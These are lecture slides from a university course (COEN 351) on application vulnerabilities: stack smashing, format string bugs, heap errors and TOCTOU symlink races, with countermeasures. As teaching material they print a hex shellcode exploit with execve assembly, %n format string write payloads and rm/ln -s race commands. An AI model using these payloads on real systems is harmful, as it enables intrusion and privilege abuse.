Application Vulnerabilities and Attacks COEN 351

Download Report

Transcript Application Vulnerabilities and Attacks COEN 351

Application
Vulnerabilities and
Attacks
COEN 351
Vulnerability and Exploits

Software Defects:


Security Flaw:




A security flaw is a software defect that poses a potential
security risk.
Eliminating software defects eliminate security flaws.
A vulnerability is a set of conditions that allows an
attacker to violate an explicit or implicit security policy.


A software defect is the encoding of a human error into the
software, including omissions.
Not all security flaws lead to vulnerabilities.
A security flaw can cause a program to be vulnerable to
attack.
Vulnerabilities can also exist without a security flaw.
Vulnerabilities and Exploits

Exploit:
 Proof-of-concept
exploits are developed to
prove the existence of a vulnerability.
 Proof-of-concept exploits are beneficial when
properly managed.
 Proof-of-concept exploit in the wrong hands
can be quickly transformed into a worm or
virus or used in an attack.
Pointer Subterfuge

Pointer Subterfuge modify a pointer’s
value.
 Function
pointers are overwritten to transfer
control to an attacker supplied shellcode.
 Data pointers can also be changed to modify
the program flow according to the attacker’s
wishes.
Pointer Subterfuge

Using a buffer overflow:
 Buffer
must be allocated in the
same segment as the target
pointer.
 Buffer must have a lower
memory address than the
target pointer.
 Buffer must be susceptible to a
buffer overflow exploit.
Buffer Overflow

A buffer overflow occurs when data is written
outside of the boundaries of the memory
allocated to a particular data structure.
11 Bytes of Data
Source
Memory
Copy
Operation
Allocated Memory (8 Bytes)
Other Memory
Buffer Overflow

Process Memory Organization
Code or Text: Instructions
and read only data
Data: Initialized data,
uninitialized data, static
variables, global variables
Heap: Dynamically
allocated variables
Stack: Local variables,
return addresses, etc.
Stack Smashing

When calling a subroutine / function:
 Stack
stores the return address
 Stack stores arguments, return values
 Stack stores variables local to the subroutine

Information pushed on the stack for a subroutine
call is called a frame.
 Address
of frame is stored in the frame or base point
register.

epb on Intel architectures
Stack Smashing
#include <iostream>
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password, “badprog"))
return(true);
else return(false);
}
void main()
{
bool PwStatus;
puts("Enter password:");
PwStatus = IsPasswordOkay();
if (PwStatus == false){
puts("Access denied");
exit(-1);
}
else puts("Access granted");
}
Stack Smashing
Program stack before call to IsPasswordOkay()
Stack
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus==true)
puts("Hello, Master");
else puts("Access denied");
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Stack Smashing
Program stack during call to IsPasswordOkay()
Stack
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus ==true)
puts("Hello, Master");
else puts("Access denied");
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password,"badprog"))
return(true);
else return(false)
}
Storage for Password (8 Bytes)
Caller EBP – Frame Ptr main (4
bytes)
Return Addr Caller – main (4
Bytes)
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Stack Smashing
Program stack after call to IsPasswordOkay()
Stack
Storage for Password (8 Bytes)
puts("Enter Password:");
PwStatus=ISPasswordOkay();
if (PwStatus ==true)
puts("Hello, Master");
else puts("Access denied");
Caller EBP – Frame Ptr main (4
bytes)
Return Addr Caller – main (4
Bytes)
Storage for PwStatus (4 bytes)
Caller EBP – Frame Ptr OS (4
bytes)
Return Addr of main – OS (4
Bytes)
…
Stack Smashing

#include <iostream>
bool IsPasswordOkay(void)
{
char Password[8];
What happens if we enter more than 7
characters of an input string?
gets(Password);
if (!strcmp(Password, “badprog"))
return(true);
else return(false);
}
void main()
{
bool PwStatus;
puts("Enter password:");
PwStatus = IsPasswordOkay();
if (PwStatus == false){
puts("Access denied");
exit(-1);
}
else puts("Access granted");
}
Stack Smashing
Stack
Storage for Password (8 Bytes)
“12345678”
bool IsPasswordOkay(void)
{
char Password[8];
gets(Password);
if (!strcmp(Password,"badprog"))
return(true);
else return(false)
}
The return address and other data on the
stack is over written because the memory
space allocated for the password can only
hold a maximum 7 character plus the NULL
terminator.
Caller EBP – Frame Ptr main (4
bytes)
“9012”
Return Addr Caller – main (4
Bytes)
“3456”
Storage for PwStatus (4 bytes)
“7890”
Caller EBP – Frame Ptr OS (4
bytes)
“\0”
Return Addr of main – OS (4
Bytes)
…
Stack Smashing

A specially crafted string
“abcdefghijklW►*!” produced the
following result:
Stack Smashing
The
string “abcdefghijklW►*!”
overwrote 9 extra bytes of
memory on the stack changing the
callers return address thus
skipping the execution of line 3
Line
Statement
1
puts("Enter
Password:");
2
PwStatus=ISPasswordOkay
();
3
if (PwStatus ==true)
4
puts("Hello, Master");
5
else puts("Access
denied");
Stack
Storage for Password (8 Bytes)
“abcdefgh”
Caller EBP – Frame Ptr main (4 bytes)
“ijkl”
Return Addr Caller – main (4 Bytes)
“W►*!” (return to line 4 was line 3)
Storage for PwStatus (4 bytes)
“/0”
Caller EBP – Frame Ptr OS (4 bytes)
Return Addr of main – OS (4 Bytes)
Stack Smashing

A buffer overflow can be exploited by
 Changing
the return address in order to
change the program flow (arc-injection)
 Change the return address to point into the
buffer where it contains some malicious code
(Code injection)
Stack Smashing

000
010
020
030
040

The get password program can be exploited to
execute arbitrary code by providing the following
binary data file as input:
31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38-39
34-35
B0-0B
FF-BF
2F-62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
This exploit is specific to Red Hat Linux 9.0 and GCC
Stack Smashing
000
010
020
030
040
31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The first 16 bytes of binary data fill the allocated
storage space for the password.
 NOTE: Even though the program only allocated 12
bytes for the password, the version of the gcc compiler
used allocates stack data in multiples of 16 bytes

Stack Smashing
000
010
020
030
040
31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The next 12 bytes of binary data fill the extra
storage space that was created by the compiler to
keep the stack aligned on a16-byte boundary.

Stack Smashing
000
010
020
030
040
31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The next 12 bytes of binary data fill the extra
storage space that was created by the compiler to
keep the stack aligned on a16-byte boundary.

Stack Smashing
000
010
020
030
040
31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The next 4 bytes overwrite the return address.
 The new return address is 0X BF FF F9 E0 (littleendian)

Stack Smashing
Stack Smashing
000
010
020
030
040

31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The malicious code.
 Purpose
of malicious code is to call execve with a user
provided set of parameters.
 In this program, instead of spawning a shell, we just call
the linux calculator program.
Stack Smashing
000
010
020
030
040

31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The malicious code:


xor %eax,%eax #set eax to zero
mov %eax,0xbffff9ff #set to NULL word
 Create
a zero value and use it to NULL terminate
the argument list.
 This is necessary to terminate the argument list.
Stack Smashing
000
010
020
030
040

31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The malicious code:



xor %eax,%eax #set eax to zero
mov %eax,0xbffff9ff #set to NULL word
mov $0xb,%al #set code for execve
 Set
the value of register al to 0xb. This value
indicates a system call to execve.
Stack Smashing
000
010
020
030
040

31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The malicious code:
 mov $0xb,%al #set code for execve
 mov $0xbffffa03,%ebx #ptr to arg 1
 mov $0xbffff9fb,%ecx #ptr to arg 2
 mov 0xbffff9ff,%edx #ptr to arg 3
 This puts the pointers to the arguments into ebc, ecx, and
edx registers.
Stack Smashing
000
010
020
030
040

31
37
31
F9
31
32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
The malicious code:
 mov $0xbffffa03,%ebx #ptr to arg 1
 mov $0xbffff9fb,%ecx #ptr to arg 2
 mov 0xbffff9ff,%edx
#ptr to arg 3
 int $80 # make system call to execve
 Now make the system call to execve. The arguments are
in the registers.
Stack Smashing
000
010
020
030
040
31
37
31
F9
31
The

32
38
C0
FF
31
33
39
A3
BF
31
34
30
FF
8B
2F
35
31
F9
15
75
36
32
FF
FF
73
37
33
BF
F9
72
38
34
B0
FF
2F
39
35
0B
BF
62
malicious code:
Last part are the arguments.
30
36
BB
CD
69
31
37
03
80
6E
32
38
FA
FF
2F
33
E0
FF
F9
63
34
F9
BF
FF
61
35
FF
B9
BF
6C
36
BF
FB
31
0A
"1234567890123456"
"789012345678a· +"
"1+ú · +¦+· +¦v"
"· +ï§ · +-Ç · +1"
"111/usr/bin/cal “
Stack Smashing

./BufferOverflow < exploit.bin now
executes /usr/bin/cal\0.
Stack Smashing Countermeasures

Canaries
 Protect return addresses
 Random value is stored before return address.
 When returning, check whether canary has been
altered.

Non-executable stacks
 Prevents

shellcode injection
Randomizing stack layout
 Introduce bogus empty blocks of memory
 Attacker cannot predict stack layout
on stack
Data Pointers Example
void foo(void * arg, size_t len)
char buff[100];
long val = …;
long *ptr = …;
memcpy(buff, arg, len);
*ptr = val;
…
return;
}
{
Buffer is vulnerable to
overflow.
Both val and ptr are
located after the buffer and
can be overwritten.
This allows a buffer
overflow to write an
arbitrary address in
memory.
Data Pointers
Arbitrary memory writes can change the
control flow.
 This is easier if the length of a pointer is
equal to the length of important data
structures.

 Intel

32 Architectures:
sizeof(void*) = sizeof(int) = sizeof(long) = 4B.
Pointer Subterfuge

Targets for memory overwrites:
 Unix:
GOT table
 .dtors

 Windows
Virtual function tables
 Exception handlers


Details in Secure Programming Course
Format String Vulnerabilities

printf and companions are variadic
functions.
 Variable
number of arguments.
 Format string and addresses of arguments in
the format string are placed on the stack.

Format string vulnerability:
 User
controls (partially) input to printf
Format String Vulnerabilities

Example
1. int func(char *user) {
2.
printf(user);
3. }

If the user argument can be controlled by a user, this
program can be exploited to crash the program, view the
contents of the stack, view memory content, or overwrite
memory
Format String Vulnerability

printf("%s%s%s%s%s%s%s%s%s%s%s%s");
 The
%s conversion specifier displays memory at an
address specified in the corresponding argument on
the execution stack.
 Because no string arguments are supplied in this
example, printf() reads arbitrary memory
locations from the stack until the format string is
exhausted or an invalid pointer or unmapped address
is encountered.
Viewing Stack Content


Attackers can also exploit formatted output functions to
examine the contents of memory.
Disassembled printf() call
char format [32];
strcpy(format, "%08x.%08x.%08x.%08x");
printf(format, 1, 2, 3);
1.
2.
3.
4.
5.
6.
push
push
push
push
call
add
3
2
1
offset format
_printf
esp,10h
Arguments are
pushed onto the stack
0x00000000
in reverse order.
the arguments in
memory appear in
the same order as in
the printf() call
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
The address of the
format string
0x00000000
0xe0f84201
appears in
memory followed by the
argument values 1, 2,
and 3
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
The memory
immediately following
the arguments contains
0x00000000
the
automatic variables
for the calling function,
including the contents
of the format character
array 0x2e253038
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
The format string
%08x.%08x.%08x.%08
instructs printf() to
0x00000000
retrieve
four arguments
from the stack and
display them as eightdigit padded
hexadecimal numbers
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
As each argument is
used by the format
specification,
the
0x00000000
argument pointer is
increased by the length
of the argument.
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
0x00000000
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
Each %08x in the format
string reads a value it
interprets as an int from
the location identified by
the argument pointer.
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
0x00000000
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
The values output by
each format string are
shown below the
format string.
Viewing the Contents of the Stack
Initial argument pointer
Final argument pointer
0x00000000
Memory:
e0f84201 01000000 02000000 03000000 25303878 2e253038
Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x
Output:
00000001.00000002.00000003.25303878
The fourth “integer”
contains the first four
bytes of the format
string—the ASCII
codes for %08x.
Viewing Memory at a Specific Location
address advance-argptr %s
\xdc\xf5\x42\x01%x%x%x%s
0x00000000
Memory:
Initial argument pointer
Final argument pointer
% x % x
e0f84201 01000000 02000000 03000000 dcf54201 25782578
\xdc
\xf5
\x42
\x01
- written to
- written to
- written to
- written to
stdout
stdout
stdout
stdout
%x
%x
%x
%s
- advances argument pointer
- advances argument pointer
- advances argument pointer
- outputs string at address specified
in next argument
The series of three
%x conversion
specifiers advance
the argument
pointer twelve bytes
to the start of the
format string
Viewing Memory at a Specific Location
Memory:
Initial argument pointer
address advance-argptr %s
\xdc\xf5\x42\x01%x%x%x%s
0x00000000
Final argument pointer
% x % x
e0f84201 01000000 02000000 03000000 dcf54201 25782578
\xdc - written to stdout
\xf5 - written to stdout
\x42 - written to stdout
\x01 - written to stdout
%x - advances argument pointer
%x - advances argument pointer
%x - advances argument pointer
%s - outputs string at address specified
in next argument
The %s conversion
specifier displays
memory at the
address supplied at
the beginning of the
format string.
Viewing Memory Content



printf() displays memory from 0x0142f5dc until a \0 byte
is reached.
The entire address space can be mapped by advancing
the address between calls to printf().
Viewing memory at an arbitrary address can help an
attacker develop other exploits, such as executing
arbitrary code on a compromised machine.
Format String Vulnerability

Arbitrary memory can be written by using the %n
specifier in the format string.
int i;
printf("hello%n\n", (int *)&i);
 The
variable i is assigned the value 5 because five
characters (h-e-l-l-o) are written until the %n
conversion specifier is encountered.
 Using the %n conversion specifier, an attacker can
write a small integer value to an address.
Format String Vulnerability
printf("\xdc\xf5\x42\x01%08x.%08x.%08x%n”);
 Writes
an integer value corresponding to the number of
characters output to the address 0x0142f5dc.
 The value written (28) is equal to the eight-characterwide hex fields (times three) plus the four address
bytes.
 An attacker can overwrite the address with the address
of some shellcode.
Format String Vulnerability
printf
("%16u%n%16u%n%32u%n%64u%n",

The first %16u%n sequence writes the value 16 to
the specified address, but the second %16u%n
sequence writes 32 bytes because the counter has
not been reset.
Dynamic Memory Errors

Errors change internal heap structures,
leading to overwriting an arbitrary memory
address with an arbitrary value
 Double

free.
Exploited vulnerability in both Linux and Windows
TOCTOU Race Conditions

Race window by checking for some race
object and later accessing it.
TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0)
printf("access granted.\n");
fd = fopen("/some_file", "wb+");
/* write to the file */
fclose(fd);
}
. . .
return 0;
}
{
The access()
function is called
to check if the file
exists and has
write permission.
TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) {
printf("access granted.\n");
fd = fopen("/some_file", "wb+");
/* write to the file */
fclose(fd);
the file is opened
}
for writing
. . .
return 0;
}
TOCTOU
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
FILE *fd;
if (access("/some_file", W_OK) == 0) {
printf("access granted.\n");
fd = fopen("/some_file", "wb+");
/* write to the file */
Race window
fclose(fd);
}
between
. . .
checking for
return 0;
access
and
}
opening file.
TOCTOU

Vulnerability
 An
external process can change or replace the
ownership of some_file.
 If this program is running with an effective user ID
(UID) of root, the replacement file is opened and
written to.
 If an attacker can replace some_file with a link during
the race window, this code can be exploited to write to
any file of the attacker’s choosing.
TOCTOU

The program could be exploited by a user
executing the following shell commands during
the race window:
rm /some_file
ln /myfile /some_file

The TOCTOU condition can be mitigated by
replacing the call to access() with logic that
drops privileges to the real UID, opens the file
with fopen(), and checks to ensure that the
file was opened successfully.
TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {
err(1, "stat");
stats
}
if (statbuf.st_size >= MAX_FILE_SIZE) { /some_dir/some_file
and opens the file for
err(2, "file size");
reading if it is not too
}
large.
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1)
{
err(3, "open - /some_dir/some_file");
}
11. // process file
TOCTOU Exploits Symbolic Link
if (stat("/some_dir/some_file", &statbuf) == -1) {
err(1, "stat");
}
if (statbuf.st_size >= MAX_FILE_SIZE) { The TOCTOU check
occurs with the call of
err(2, "file size");
stat()
}
if ((fd=open("/some_dir/some_file", O_RDONLY)) == -1)
{
err(3, "open - /some_dir/some_file");
}
TOCTOU use is
11. // process file
the call to fopen()
TOCTOU Exploits Symbolic Link

Attacker executes the following during the race
window :
 rm
/some_dir/some_file
 ln -s attacker_file /some_dir/some_file


The file passed as an argument to stat() is not
the same file that is opened.
The attacker has hijacked
/some_dir/some_file by linking this name to
attacker_file.
TOCTOU Exploits Symbolic Link

Symbolic links are used because
 Owner
of link does not need any permissions for the
target file.
 The attacker only needs write permissions for the
directory in which the link is created.
 Symbolic links can reference a directory. The attacker
might replace /some_dir with a symbolic link to a
completely different directory
TOCTOU Exploits Symbolic Link

Example: passwd() functions of SunOS and
HP/UX

passwd() requires user to specify password file as
parameter
1.
2.
3.
4.
Open password file, authenticate user, close file.
Create and open temporary file ptmp in same directory.
Reopen password file and copy updated version into ptmp.
Close both files and rename ptmp as the new password
file.
TOCTOU Exploits Symbolic Link
1.
2.
3.
4.
5.
6.
7.
Attacker creates bogus password file called .rhosts
Attacker places .rhosts into attack_dir
Real password file is in victim_dir
Attacker creates symbolic link to attack_dir, called
symdir.
Attacker calls passwd passing password file as
/symdir/.rhosts.
Attacker changes /symdir so that password in steps 1
and 3 refers to attack_dir and in steps 2 and 4 to
victim_dir.
Result: password file in victim_dir is replaced by
password file in attack_dir.
TOCTOU Exploits Symbolic Link


Symlink attack can cause exploited
software to open, remove, read, or write
a hijacked file or directory.
Other example: StarOffice

Exploit substitutes a symbolic link for a file
whose permission StarOffice is about to
elevate.
 Result: File referred to gets permissions
updated.
Morale

Existing code base is full of software errors.
 Changing
to safer languages is going to alleviate the
problem.

All application software is under suspicion.
 Fast patching protects against most attacks.
 But not zero-day exploits
 Patching can break applications, hence:
 Test on test servers before applying patches.

Decrease attack surface by
 running
 running
as few applications as possible
services at lowest possible privilege level.